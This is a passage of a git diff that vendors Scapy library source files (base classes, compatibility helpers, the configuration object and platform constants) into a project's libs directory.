scapy.modules.six.moves import range + + +class Gen(object): + __slots__ = [] + + def __iter__(self): + return iter([]) + + def __iterlen__(self): + return sum(1 for _ in iter(self)) + + +def _get_values(value): + """Generate a range object from (start, stop[, step]) tuples, or + return value. + + """ + if (isinstance(value, tuple) and (2 <= len(value) <= 3) and + all(hasattr(i, "__int__") for i in value)): + # We use values[1] + 1 as stop value for (x)range to maintain + # the behavior of using tuples as field `values` + return range(*((int(value[0]), int(value[1]) + 1) + + tuple(int(v) for v in value[2:]))) + return value + + +class SetGen(Gen): + def __init__(self, values, _iterpacket=1): + self._iterpacket = _iterpacket + if isinstance(values, (list, BasePacketList)): + self.values = [_get_values(val) for val in values] + else: + self.values = [_get_values(values)] + + def transf(self, element): + return element + + def __iter__(self): + for i in self.values: + if (isinstance(i, Gen) and + (self._iterpacket or not isinstance(i, BasePacket))) or ( + isinstance(i, (range, types.GeneratorType))): + for j in i: + yield j + else: + yield i + + def __repr__(self): + return "" % self.values + + +class Net(Gen): + """Generate a list of IPs from a network address or a name""" + name = "ip" + ip_regex = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$") # noqa: E501 + + @staticmethod + def _parse_digit(a, netmask): + netmask = min(8, max(netmask, 0)) + if a == "*": + a = (0, 256) + elif a.find("-") >= 0: + x, y = [int(d) for d in a.split('-')] + if x > y: + y = x + a = (x & (0xff << netmask), max(y, (x | (0xff >> (8 - netmask)))) + 1) # noqa: E501 + else: + a = (int(a) & (0xff << netmask), (int(a) | (0xff >> (8 - netmask))) + 1) # noqa: E501 + return a + + @classmethod + def _parse_net(cls, net): + tmp = net.split('/') + ["32"] + if not cls.ip_regex.match(net): + tmp[0] = socket.gethostbyname(tmp[0]) + netmask = int(tmp[1]) + ret_list = [cls._parse_digit(x, y - netmask) for (x, y) in zip(tmp[0].split('.'), [8, 16, 24, 32])] # noqa: E501 + return ret_list, netmask + + def __init__(self, net): + self.repr = net + self.parsed, self.netmask = self._parse_net(net) + + def __str__(self): + return next(self.__iter__(), None) + + def __iter__(self): + for d in range(*self.parsed[3]): + for c in range(*self.parsed[2]): + for b in range(*self.parsed[1]): + for a in range(*self.parsed[0]): + yield "%i.%i.%i.%i" % (a, b, c, d) + + def __iterlen__(self): + return reduce(operator.mul, ((y - x) for (x, y) in self.parsed), 1) + + def choice(self): + return ".".join(str(random.randint(v[0], v[1] - 1)) for v in self.parsed) # noqa: E501 + + def __repr__(self): + return "Net(%r)" % self.repr + + def __eq__(self, other): + if not other: + return False + if hasattr(other, "parsed"): + p2 = other.parsed + else: + p2, nm2 = self._parse_net(other) + return self.parsed == p2 + + def __ne__(self, other): + # Python 2.7 compat + return not self == other + + __hash__ = None + + def __contains__(self, other): + if hasattr(other, "parsed"): + p2 = other.parsed + else: + p2, nm2 = self._parse_net(other) + return all(a1 <= a2 and b1 >= b2 for (a1, b1), (a2, b2) in zip(self.parsed, p2)) # noqa: E501 + + def __rcontains__(self, other): + return self in self.__class__(other) + + +class OID(Gen): + name = "OID" + + def __init__(self, oid): + self.oid = oid + self.cmpt = [] + fmt = [] + for i in oid.split("."): + if "-" in i: + fmt.append("%i") + self.cmpt.append(tuple(map(int, i.split("-")))) + else: + fmt.append(i) + self.fmt = ".".join(fmt) + + def __repr__(self): + return "OID(%r)" % self.oid + + def __iter__(self): + ii = [k[0] for k in self.cmpt] + while True: + yield self.fmt % tuple(ii) + i = 0 + while True: + if i >= len(ii): + return + if ii[i] < self.cmpt[i][1]: + ii[i] += 1 + break + else: + ii[i] = self.cmpt[i][0] + i += 1 + + def __iterlen__(self): + return reduce(operator.mul, (max(y - x, 0) + 1 for (x, y) in self.cmpt), 1) # noqa: E501 + + +###################################### +# Packet abstract and base classes # +###################################### + +class Packet_metaclass(type): + def __new__(cls, name, bases, dct): + if "fields_desc" in dct: # perform resolution of references to other packets # noqa: E501 + current_fld = dct["fields_desc"] + resolved_fld = [] + for f in current_fld: + if isinstance(f, Packet_metaclass): # reference to another fields_desc # noqa: E501 + for f2 in f.fields_desc: + resolved_fld.append(f2) + else: + resolved_fld.append(f) + else: # look for a fields_desc in parent classes + resolved_fld = None + for b in bases: + if hasattr(b, "fields_desc"): + resolved_fld = b.fields_desc + break + + if resolved_fld: # perform default value replacements + final_fld = [] + for f in resolved_fld: + if f.name in dct: + f = f.copy() + f.default = dct[f.name] + del(dct[f.name]) + final_fld.append(f) + + dct["fields_desc"] = final_fld + + dct.setdefault("__slots__", []) + for attr in ["name", "overload_fields"]: + try: + dct["_%s" % attr] = dct.pop(attr) + except KeyError: + pass + newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct) + newcls.__all_slots__ = set( + attr + for cls in newcls.__mro__ if hasattr(cls, "__slots__") + for attr in cls.__slots__ + ) + + newcls.aliastypes = [newcls] + getattr(newcls, "aliastypes", []) + + if hasattr(newcls, "register_variant"): + newcls.register_variant() + for f in newcls.fields_desc: + if hasattr(f, "register_owner"): + f.register_owner(newcls) + if newcls.__name__[0] != "_": + from scapy import config + config.conf.layers.register(newcls) + return newcls + + def __getattr__(self, attr): + for k in self.fields_desc: + if k.name == attr: + return k + raise AttributeError(attr) + + def __call__(cls, *args, **kargs): + if "dispatch_hook" in cls.__dict__: + try: + cls = cls.dispatch_hook(*args, **kargs) + except Exception: + from scapy import config + if config.conf.debug_dissector: + raise + cls = config.conf.raw_layer + i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) + i.__init__(*args, **kargs) + return i + + +class Field_metaclass(type): + def __new__(cls, name, bases, dct): + dct.setdefault("__slots__", []) + newcls = super(Field_metaclass, cls).__new__(cls, name, bases, dct) + return newcls + + +class BasePacket(Gen): + __slots__ = [] + + +############################# +# Packet list base class # +############################# + +class BasePacketList(object): + __slots__ = [] + + +class _CanvasDumpExtended(object): + def psdump(self, filename=None, **kargs): + """ + psdump(filename=None, layer_shift=0, rebuild=1) + + Creates an EPS file describing a packet. If filename is not provided a + temporary file is created and gs is called. + + :param filename: the file's filename + """ + from scapy.config import conf + from scapy.utils import get_temp_file, ContextManagerSubprocess + canvas = self.canvas_dump(**kargs) + if filename is None: + fname = get_temp_file(autoext=kargs.get("suffix", ".eps")) + canvas.writeEPSfile(fname) + if WINDOWS and conf.prog.psreader is None: + os.startfile(fname) + else: + with ContextManagerSubprocess(conf.prog.psreader): + subprocess.Popen([conf.prog.psreader, fname]) + else: + canvas.writeEPSfile(filename) + print() + + def pdfdump(self, filename=None, **kargs): + """ + pdfdump(filename=None, layer_shift=0, rebuild=1) + + Creates a PDF file describing a packet. If filename is not provided a + temporary file is created and xpdf is called. + + :param filename: the file's filename + """ + from scapy.config import conf + from scapy.utils import get_temp_file, ContextManagerSubprocess + canvas = self.canvas_dump(**kargs) + if filename is None: + fname = get_temp_file(autoext=kargs.get("suffix", ".pdf")) + canvas.writePDFfile(fname) + if WINDOWS and conf.prog.pdfreader is None: + os.startfile(fname) + else: + with ContextManagerSubprocess(conf.prog.pdfreader): + subprocess.Popen([conf.prog.pdfreader, fname]) + else: + canvas.writePDFfile(filename) + print() + + def svgdump(self, filename=None, **kargs): + """ + svgdump(filename=None, layer_shift=0, rebuild=1) + + Creates an SVG file describing a packet. If filename is not provided a + temporary file is created and gs is called. + + :param filename: the file's filename + """ + from scapy.config import conf + from scapy.utils import get_temp_file, ContextManagerSubprocess + canvas = self.canvas_dump(**kargs) + if filename is None: + fname = get_temp_file(autoext=kargs.get("suffix", ".svg")) + canvas.writeSVGfile(fname) + if WINDOWS and conf.prog.svgreader is None: + os.startfile(fname) + else: + with ContextManagerSubprocess(conf.prog.svgreader): + subprocess.Popen([conf.prog.svgreader, fname]) + else: + canvas.writeSVGfile(filename) + print() diff --git a/libs/scapy/compat.py b/libs/scapy/compat.py new file mode 100755 index 0000000..b1eb277 --- /dev/null +++ b/libs/scapy/compat.py @@ -0,0 +1,169 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +""" +Python 2 and 3 link classes. +""" + +from __future__ import absolute_import +import base64 +import binascii +import gzip +import struct +import sys + +import scapy.modules.six as six + + +########### +# Python3 # +########### + + +def lambda_tuple_converter(func): + """ + Converts a Python 2 function as + lambda (x,y): x + y + In the Python 3 format: + lambda x,y : x + y + """ + if func is not None and func.__code__.co_argcount == 1: + return lambda *args: func(args[0] if len(args) == 1 else args) + else: + return func + + +if six.PY2: + bytes_encode = plain_str = str + chb = lambda x: x if isinstance(x, str) else chr(x) + orb = ord + + + def raw(x): + """Builds a packet and returns its bytes representation. + This function is and always be cross-version compatible""" + if hasattr(x, "__bytes__"): + return x.__bytes__() + return bytes(x) +else: + def raw(x): + """Builds a packet and returns its bytes representation. + This function is and always be cross-version compatible""" + return x.__bytes__() + + + def bytes_encode(x): + """Ensure that the given object is bytes. + If the parameter is a packet, raw() should be preferred. + """ + if isinstance(x, str): + return x.encode() + return bytes(x) + + + if sys.version_info[0:2] <= (3, 4): + def plain_str(x): + """Convert basic byte objects to str""" + if isinstance(x, bytes): + return x.decode(errors="ignore") + return str(x) + else: + # Python 3.5+ + def plain_str(x): + """Convert basic byte objects to str""" + if isinstance(x, bytes): + return x.decode(errors="backslashreplace") + return str(x) + + + def chb(x): + """Same than chr() but encode as bytes.""" + return struct.pack("!B", x) + + + def orb(x): + """Return ord(x) when not already an int.""" + if isinstance(x, int): + return x + return ord(x) + + +def bytes_hex(x): + """Hexify a str or a bytes object""" + return binascii.b2a_hex(bytes_encode(x)) + + +def hex_bytes(x): + """De-hexify a str or a byte object""" + return binascii.a2b_hex(bytes_encode(x)) + + +def base64_bytes(x): + """Turn base64 into bytes""" + if six.PY2: + return base64.decodestring(x) + return base64.decodebytes(bytes_encode(x)) + + +def bytes_base64(x): + """Turn bytes into base64""" + if six.PY2: + return base64.encodestring(x).replace('\n', '') + return base64.encodebytes(bytes_encode(x)).replace(b'\n', b'') + + +if six.PY2: + from StringIO import StringIO + + + def gzip_decompress(x): + """Decompress using gzip""" + with gzip.GzipFile(fileobj=StringIO(x), mode='rb') as fdesc: + return fdesc.read() + + + def gzip_compress(x): + """Compress using gzip""" + buf = StringIO() + with gzip.GzipFile(fileobj=buf, mode='wb') as fdesc: + fdesc.write(x) + return buf.getvalue() +else: + gzip_decompress = gzip.decompress + gzip_compress = gzip.compress + +# Typing compatibility + +try: + # Only required if using mypy-lang for static typing + from typing import Optional, List, Union, Callable, Any, AnyStr, Tuple, \ + Sized, Dict, Pattern, cast +except ImportError: + # Let's make some fake ones. + + def cast(_type, obj): + return obj + + + class _FakeType(object): + # make the objects subscriptable indefinetly + def __getitem__(self, item): + return _FakeType() + + + Optional = _FakeType() + Union = _FakeType() + Callable = _FakeType() + List = _FakeType() + Dict = _FakeType() + Any = _FakeType() + AnyStr = _FakeType() + Tuple = _FakeType() + Pattern = _FakeType() + + + class Sized(object): + pass diff --git a/libs/scapy/config.py b/libs/scapy/config.py new file mode 100755 index 0000000..703b742 --- /dev/null +++ b/libs/scapy/config.py @@ -0,0 +1,707 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Implementation of the configuration object. +""" + +from __future__ import absolute_import +from __future__ import print_function +import functools +import os +import re +import time +import socket +import sys +import atexit + +from scapy import VERSION, base_classes +from scapy.consts import DARWIN, WINDOWS, LINUX, BSD, SOLARIS +from scapy.error import log_scapy, warning, ScapyInvalidPlatformException +from scapy.modules import six +from scapy.themes import NoTheme, apply_ipython_style + +############ +# Config # +############ + + +class ConfClass(object): + def configure(self, cnf): + self.__dict__ = cnf.__dict__.copy() + + def __repr__(self): + return str(self) + + def __str__(self): + s = "" + keys = self.__class__.__dict__.copy() + keys.update(self.__dict__) + keys = sorted(keys) + for i in keys: + if i[0] != "_": + r = repr(getattr(self, i)) + r = " ".join(r.split()) + wlen = 76 - max(len(i), 10) + if len(r) > wlen: + r = r[:wlen - 3] + "..." + s += "%-10s = %s\n" % (i, r) + return s[:-1] + + +class Interceptor(object): + def __init__(self, name=None, default=None, + hook=None, args=None, kargs=None): + self.name = name + self.intname = "_intercepted_%s" % name + self.default = default + self.hook = hook + self.args = args if args is not None else [] + self.kargs = kargs if kargs is not None else {} + + def __get__(self, obj, typ=None): + if not hasattr(obj, self.intname): + setattr(obj, self.intname, self.default) + return getattr(obj, self.intname) + + @staticmethod + def set_from_hook(obj, name, val): + int_name = "_intercepted_%s" % name + setattr(obj, int_name, val) + + def __set__(self, obj, val): + setattr(obj, self.intname, val) + self.hook(self.name, val, *self.args, **self.kargs) + + +def _readonly(name): + default = Conf.__dict__[name].default + Interceptor.set_from_hook(conf, name, default) + raise ValueError("Read-only value !") + + +ReadOnlyAttribute = functools.partial( + Interceptor, + hook=(lambda name, *args, **kwargs: _readonly(name)) +) +ReadOnlyAttribute.__doc__ = "Read-only class attribute" + + +class ProgPath(ConfClass): + universal_open = "open" if DARWIN else "xdg-open" + pdfreader = universal_open + psreader = universal_open + svgreader = universal_open + dot = "dot" + display = "display" + tcpdump = "tcpdump" + tcpreplay = "tcpreplay" + hexedit = "hexer" + tshark = "tshark" + wireshark = "wireshark" + ifconfig = "ifconfig" + + +class ConfigFieldList: + def __init__(self): + self.fields = set() + self.layers = set() + + @staticmethod + def _is_field(f): + return hasattr(f, "owners") + + def _recalc_layer_list(self): + self.layers = {owner for f in self.fields for owner in f.owners} + + def add(self, *flds): + self.fields |= {f for f in flds if self._is_field(f)} + self._recalc_layer_list() + + def remove(self, *flds): + self.fields -= set(flds) + self._recalc_layer_list() + + def __contains__(self, elt): + if isinstance(elt, base_classes.Packet_metaclass): + return elt in self.layers + return elt in self.fields + + def __repr__(self): + return "<%s [%s]>" % (self.__class__.__name__, " ".join(str(x) for x in self.fields)) # noqa: E501 + + +class Emphasize(ConfigFieldList): + pass + + +class Resolve(ConfigFieldList): + pass + + +class Num2Layer: + def __init__(self): + self.num2layer = {} + self.layer2num = {} + + def register(self, num, layer): + self.register_num2layer(num, layer) + self.register_layer2num(num, layer) + + def register_num2layer(self, num, layer): + self.num2layer[num] = layer + + def register_layer2num(self, num, layer): + self.layer2num[layer] = num + + def __getitem__(self, item): + if isinstance(item, base_classes.Packet_metaclass): + return self.layer2num[item] + return self.num2layer[item] + + def __contains__(self, item): + if isinstance(item, base_classes.Packet_metaclass): + return item in self.layer2num + return item in self.num2layer + + def get(self, item, default=None): + return self[item] if item in self else default + + def __repr__(self): + lst = [] + for num, layer in six.iteritems(self.num2layer): + if layer in self.layer2num and self.layer2num[layer] == num: + dir = "<->" + else: + dir = " ->" + lst.append((num, "%#6x %s %-20s (%s)" % (num, dir, layer.__name__, + layer._name))) + for layer, num in six.iteritems(self.layer2num): + if num not in self.num2layer or self.num2layer[num] != layer: + lst.append((num, "%#6x <- %-20s (%s)" % (num, layer.__name__, + layer._name))) + lst.sort() + return "\n".join(y for x, y in lst) + + +class LayersList(list): + + def __init__(self): + list.__init__(self) + self.ldict = {} + + def __repr__(self): + return "\n".join("%-20s: %s" % (l.__name__, l.name) for l in self) + + def register(self, layer): + self.append(layer) + if layer.__module__ not in self.ldict: + self.ldict[layer.__module__] = [] + self.ldict[layer.__module__].append(layer) + + def layers(self): + result = [] + # This import may feel useless, but it is required for the eval below + import scapy # noqa: F401 + for lay in self.ldict: + doc = eval(lay).__doc__ + result.append((lay, doc.strip().split("\n")[0] if doc else lay)) + return result + + +class CommandsList(list): + def __repr__(self): + s = [] + for l in sorted(self, key=lambda x: x.__name__): + doc = l.__doc__.split("\n")[0] if l.__doc__ else "--" + s.append("%-20s: %s" % (l.__name__, doc)) + return "\n".join(s) + + def register(self, cmd): + self.append(cmd) + return cmd # return cmd so that method can be used as a decorator + + +def lsc(): + """Displays Scapy's default commands""" + print(repr(conf.commands)) + + +class CacheInstance(dict, object): + __slots__ = ["timeout", "name", "_timetable", "__dict__"] + + def __init__(self, name="noname", timeout=None): + self.timeout = timeout + self.name = name + self._timetable = {} + + def flush(self): + self.__init__(name=self.name, timeout=self.timeout) + + def __getitem__(self, item): + if item in self.__slots__: + return object.__getattribute__(self, item) + val = dict.__getitem__(self, item) + if self.timeout is not None: + t = self._timetable[item] + if time.time() - t > self.timeout: + raise KeyError(item) + return val + + def get(self, item, default=None): + # overloading this method is needed to force the dict to go through + # the timetable check + try: + return self[item] + except KeyError: + return default + + def __setitem__(self, item, v): + if item in self.__slots__: + return object.__setattr__(self, item, v) + self._timetable[item] = time.time() + dict.__setitem__(self, item, v) + + def update(self, other): + for key, value in six.iteritems(other): + # We only update an element from `other` either if it does + # not exist in `self` or if the entry in `self` is older. + if key not in self or self._timetable[key] < other._timetable[key]: + dict.__setitem__(self, key, value) + self._timetable[key] = other._timetable[key] + + def iteritems(self): + if self.timeout is None: + return six.iteritems(self.__dict__) + t0 = time.time() + return ((k, v) for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 + + def iterkeys(self): + if self.timeout is None: + return six.iterkeys(self.__dict__) + t0 = time.time() + return (k for k in six.iterkeys(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 + + def __iter__(self): + return six.iterkeys(self.__dict__) + + def itervalues(self): + if self.timeout is None: + return six.itervalues(self.__dict__) + t0 = time.time() + return (v for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 + + def items(self): + if self.timeout is None: + return dict.items(self) + t0 = time.time() + return [(k, v) for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 + + def keys(self): + if self.timeout is None: + return dict.keys(self) + t0 = time.time() + return [k for k in six.iterkeys(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 + + def values(self): + if self.timeout is None: + return list(six.itervalues(self)) + t0 = time.time() + return [v for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 + + def __len__(self): + if self.timeout is None: + return dict.__len__(self) + return len(self.keys()) + + def summary(self): + return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) # noqa: E501 + + def __repr__(self): + s = [] + if self: + mk = max(len(k) for k in six.iterkeys(self.__dict__)) + fmt = "%%-%is %%s" % (mk + 1) + for item in six.iteritems(self.__dict__): + s.append(fmt % item) + return "\n".join(s) + + +class NetCache: + def __init__(self): + self._caches_list = [] + + def add_cache(self, cache): + self._caches_list.append(cache) + setattr(self, cache.name, cache) + + def new_cache(self, name, timeout=None): + c = CacheInstance(name=name, timeout=timeout) + self.add_cache(c) + + def __delattr__(self, attr): + raise AttributeError("Cannot delete attributes") + + def update(self, other): + for co in other._caches_list: + if hasattr(self, co.name): + getattr(self, co.name).update(co) + else: + self.add_cache(co.copy()) + + def flush(self): + for c in self._caches_list: + c.flush() + + def __repr__(self): + return "\n".join(c.summary() for c in self._caches_list) + + +def _version_checker(module, minver): + """Checks that module has a higher version that minver. + + params: + - module: a module to test + - minver: a tuple of versions + """ + # We could use LooseVersion, but distutils imports imp which is deprecated + version_regexp = r'[a-z]?((?:\d|\.)+\d+)(?:\.dev[0-9]+)?' + version_tags = re.match(version_regexp, module.__version__) + if not version_tags: + return False + version_tags = version_tags.group(1).split(".") + version_tags = tuple(int(x) for x in version_tags) + return version_tags >= minver + + +def isCryptographyValid(): + """ + Check if the cryptography module >= 2.0.0 is present. This is the minimum + version for most usages in Scapy. + """ + try: + import cryptography + except ImportError: + return False + return _version_checker(cryptography, (2, 0, 0)) + + +def isCryptographyAdvanced(): + """ + Check if the cryptography module is present, and if it supports X25519, + ChaCha20Poly1305 and such. + + Notes: + - cryptography >= 2.0 is required + - OpenSSL >= 1.1.0 is required + """ + try: + from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey # noqa: E501 + X25519PrivateKey.generate() + except Exception: + return False + else: + return True + + +def isPyPy(): + """Returns either scapy is running under PyPy or not""" + try: + import __pypy__ # noqa: F401 + return True + except ImportError: + return False + + +def _prompt_changer(attr, val): + """Change the current prompt theme""" + try: + sys.ps1 = conf.color_theme.prompt(conf.prompt) + except Exception: + pass + try: + apply_ipython_style(get_ipython()) + except NameError: + pass + + +def _set_conf_sockets(): + """Populate the conf.L2Socket and conf.L3Socket + according to the various use_* parameters + """ + from scapy.main import _load + if conf.use_bpf and not BSD: + Interceptor.set_from_hook(conf, "use_bpf", False) + raise ScapyInvalidPlatformException("BSD-like (OSX, *BSD...) only !") + if not conf.use_pcap and SOLARIS: + Interceptor.set_from_hook(conf, "use_pcap", True) + raise ScapyInvalidPlatformException( + "Scapy only supports libpcap on Solaris !" + ) + # we are already in an Interceptor hook, use Interceptor.set_from_hook + if conf.use_pcap: + try: + from scapy.arch.pcapdnet import L2pcapListenSocket, L2pcapSocket, \ + L3pcapSocket + except (OSError, ImportError): + warning("No libpcap provider available ! pcap won't be used") + Interceptor.set_from_hook(conf, "use_pcap", False) + else: + conf.L3socket = L3pcapSocket + conf.L3socket6 = functools.partial(L3pcapSocket, filter="ip6") + conf.L2socket = L2pcapSocket + conf.L2listen = L2pcapListenSocket + # Update globals + _load("scapy.arch.pcapdnet") + return + if conf.use_bpf: + from scapy.arch.bpf.supersocket import L2bpfListenSocket, \ + L2bpfSocket, L3bpfSocket + conf.L3socket = L3bpfSocket + conf.L3socket6 = functools.partial(L3bpfSocket, filter="ip6") + conf.L2socket = L2bpfSocket + conf.L2listen = L2bpfListenSocket + # Update globals + _load("scapy.arch.bpf") + return + if LINUX: + from scapy.arch.linux import L3PacketSocket, L2Socket, L2ListenSocket + conf.L3socket = L3PacketSocket + conf.L3socket6 = functools.partial(L3PacketSocket, filter="ip6") + conf.L2socket = L2Socket + conf.L2listen = L2ListenSocket + # Update globals + _load("scapy.arch.linux") + return + if WINDOWS: + from scapy.arch.windows import _NotAvailableSocket + from scapy.arch.windows.native import L3WinSocket, L3WinSocket6 + conf.L3socket = L3WinSocket + conf.L3socket6 = L3WinSocket6 + conf.L2socket = _NotAvailableSocket + conf.L2listen = _NotAvailableSocket + # No need to update globals on Windows + return + from scapy.supersocket import L3RawSocket + from scapy.layers.inet6 import L3RawSocket6 + conf.L3socket = L3RawSocket + conf.L3socket6 = L3RawSocket6 + + +def _socket_changer(attr, val): + if not isinstance(val, bool): + raise TypeError("This argument should be a boolean") + dependencies = { # Things that will be turned off + "use_pcap": ["use_bpf"], + "use_bpf": ["use_pcap"], + } + restore = {k: getattr(conf, k) for k in dependencies} + del restore[attr] # This is handled directly by _set_conf_sockets + if val: # Only if True + for param in dependencies[attr]: + Interceptor.set_from_hook(conf, param, False) + try: + _set_conf_sockets() + except (ScapyInvalidPlatformException, ImportError) as e: + for key, value in restore.items(): + Interceptor.set_from_hook(conf, key, value) + if isinstance(e, ScapyInvalidPlatformException): + raise + + +def _loglevel_changer(attr, val): + """Handle a change of conf.logLevel""" + log_scapy.setLevel(val) + + +class Conf(ConfClass): + """ + This object contains the configuration of Scapy. + """ + version = ReadOnlyAttribute("version", VERSION) + session = "" #: filename where the session will be saved + interactive = False + #: can be "ipython", "python" or "auto". Default: Auto + interactive_shell = "" + #: if 1, prevents any unwanted packet to go out (ARP, DNS, ...) + stealth = "not implemented" + #: selects the default output interface for srp() and sendp(). + iface = None + layers = LayersList() + commands = CommandsList() + ASN1_default_codec = None #: Codec used by default for ASN1 objects + AS_resolver = None #: choose the AS resolver class to use + dot15d4_protocol = None # Used in dot15d4.py + logLevel = Interceptor("logLevel", log_scapy.level, _loglevel_changer) + #: if 0, doesn't check that IPID matches between IP sent and + #: ICMP IP citation received + #: if 1, checks that they either are equal or byte swapped + #: equals (bug in some IP stacks) + #: if 2, strictly checks that they are equals + checkIPID = False + #: if 1, checks IP src in IP and ICMP IP citation match + #: (bug in some NAT stacks) + checkIPsrc = True + checkIPaddr = True + #: if True, checks that IP-in-IP layers match. If False, do + #: not check IP layers that encapsulates another IP layer + checkIPinIP = True + #: if 1, also check that TCP seq and ack match the + #: ones in ICMP citation + check_TCPerror_seqack = False + verb = 2 #: level of verbosity, from 0 (almost mute) to 3 (verbose) + prompt = Interceptor("prompt", ">>> ", _prompt_changer) + #: default mode for listening socket (to get answers if you + #: spoof on a lan) + promisc = True + sniff_promisc = 1 #: default mode for sniff() + raw_layer = None + raw_summary = False + default_l2 = None + l2types = Num2Layer() + l3types = Num2Layer() + L3socket = None + L3socket6 = None + L2socket = None + L2listen = None + BTsocket = None + USBsocket = None + min_pkt_size = 60 + mib = None #: holds MIB direct access dictionary + bufsize = 2**16 + #: history file + histfile = os.getenv('SCAPY_HISTFILE', + os.path.join(os.path.expanduser("~"), + ".scapy_history")) + #: includes padding in disassembled packets + padding = 1 + #: BPF filter for packets to ignore + except_filter = "" + #: bpf filter added to every sniffing socket to exclude traffic + #: from analysis + filter = "" + #: when 1, store received packet that are not matched into `debug.recv` + debug_match = False + #: When 1, print some TLS session secrets when they are computed. + debug_tls = False + wepkey = "" + cache_iflist = {} + #: holds the Scapy IPv4 routing table and provides methods to + #: manipulate it + route = None # Filed by route.py + #: holds the Scapy IPv6 routing table and provides methods to + #: manipulate it + route6 = None # Filed by route6.py + auto_fragment = True + #: raise exception when a packet dissector raises an exception + debug_dissector = False + color_theme = Interceptor("color_theme", NoTheme(), _prompt_changer) + #: how much time between warnings from the same place + warning_threshold = 5 + prog = ProgPath() + #: holds list of fields for which resolution should be done + resolve = Resolve() + #: holds list of enum fields for which conversion to string + #: should NOT be done + noenum = Resolve() + emph = Emphasize() + #: read only attribute to show if PyPy is in use + use_pypy = ReadOnlyAttribute("use_pypy", isPyPy()) + #: use libpcap integration or not. Changing this value will update + #: the conf.L[2/3] sockets + use_pcap = Interceptor( + "use_pcap", + os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y"), + _socket_changer + ) + use_bpf = Interceptor("use_bpf", False, _socket_changer) + use_npcap = False + ipv6_enabled = socket.has_ipv6 + #: path or list of paths where extensions are to be looked for + extensions_paths = "." + stats_classic_protocols = [] + stats_dot11_protocols = [] + temp_files = [] + netcache = NetCache() + geoip_city = None + # can, tls, http are not loaded by default + load_layers = ['bluetooth', 'bluetooth4LE', 'dhcp', 'dhcp6', 'dns', + 'dot11', 'dot15d4', 'eap', 'gprs', 'hsrp', 'inet', + 'inet6', 'ipsec', 'ir', 'isakmp', 'l2', 'l2tp', + 'llmnr', 'lltd', 'mgcp', 'mobileip', 'netbios', + 'netflow', 'ntp', 'ppi', 'ppp', 'pptp', 'radius', 'rip', + 'rtp', 'sctp', 'sixlowpan', 'skinny', 'smb', 'smb2', 'snmp', + 'tftp', 'vrrp', 'vxlan', 'x509', 'zigbee'] + #: a dict which can be used by contrib layers to store local + #: configuration + contribs = dict() + crypto_valid = isCryptographyValid() + crypto_valid_advanced = isCryptographyAdvanced() + fancy_prompt = True + auto_crop_tables = True + #: how often to check for new packets. + #: Defaults to 0.05s. + recv_poll_rate = 0.05 + #: When True, raise exception if no dst MAC found otherwise broadcast. + #: Default is False. + raise_no_dst_mac = False + loopback_name = "lo" if LINUX else "lo0" + + def __getattr__(self, attr): + # Those are loaded on runtime to avoid import loops + if attr == "manufdb": + from scapy.data import MANUFDB + return MANUFDB + if attr == "ethertypes": + from scapy.data import ETHER_TYPES + return ETHER_TYPES + if attr == "protocols": + from scapy.data import IP_PROTOS + return IP_PROTOS + if attr == "services_udp": + from scapy.data import UDP_SERVICES + return UDP_SERVICES + if attr == "services_tcp": + from scapy.data import TCP_SERVICES + return TCP_SERVICES + if attr == "iface6": + warning("conf.iface6 is deprecated in favor of conf.iface") + attr = "iface" + return object.__getattribute__(self, attr) + + +if not Conf.ipv6_enabled: + log_scapy.warning("IPv6 support disabled in Python. Cannot load Scapy IPv6 layers.") # noqa: E501 + for m in ["inet6", "dhcp6"]: + if m in Conf.load_layers: + Conf.load_layers.remove(m) + +conf = Conf() + + +def crypto_validator(func): + """ + This a decorator to be used for any method relying on the cryptography library. # noqa: E501 + Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'. + """ + def func_in(*args, **kwargs): + if not conf.crypto_valid: + raise ImportError("Cannot execute crypto-related method! " + "Please install python-cryptography v1.7 or later.") # noqa: E501 + return func(*args, **kwargs) + return func_in + + +def scapy_delete_temp_files(): + # type: () -> None + for f in conf.temp_files: + try: + os.unlink(f) + except Exception: + pass + del conf.temp_files[:] + + +atexit.register(scapy_delete_temp_files) diff --git a/libs/scapy/consts.py b/libs/scapy/consts.py new file mode 100755 index 0000000..705cd5c --- /dev/null +++ b/libs/scapy/consts.py @@ -0,0 +1,20 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +from sys import platform, maxsize +import platform as platform_lib + +LINUX = platform.startswith("linux") +OPENBSD = platform.startswith("openbsd") +FREEBSD = "freebsd" in platform +NETBSD = platform.startswith("netbsd") +DARWIN = platform.startswith("darwin") +SOLARIS = platform.startswith("sunos") +WINDOWS = platform.startswith("win32") +WINDOWS_XP = platform_lib.release() == "XP" +BSD = DARWIN or FREEBSD or OPENBSD or NETBSD +# See https://docs.python.org/3/library/platform.html#cross-platform +IS_64BITS = maxsize > 2**32 +# LOOPBACK_NAME moved to conf.loopback_name diff --git a/libs/scapy/contrib/__init__.py b/libs/scapy/contrib/__init__.py new file mode 100755 index 0000000..d1ce31c --- /dev/null +++ 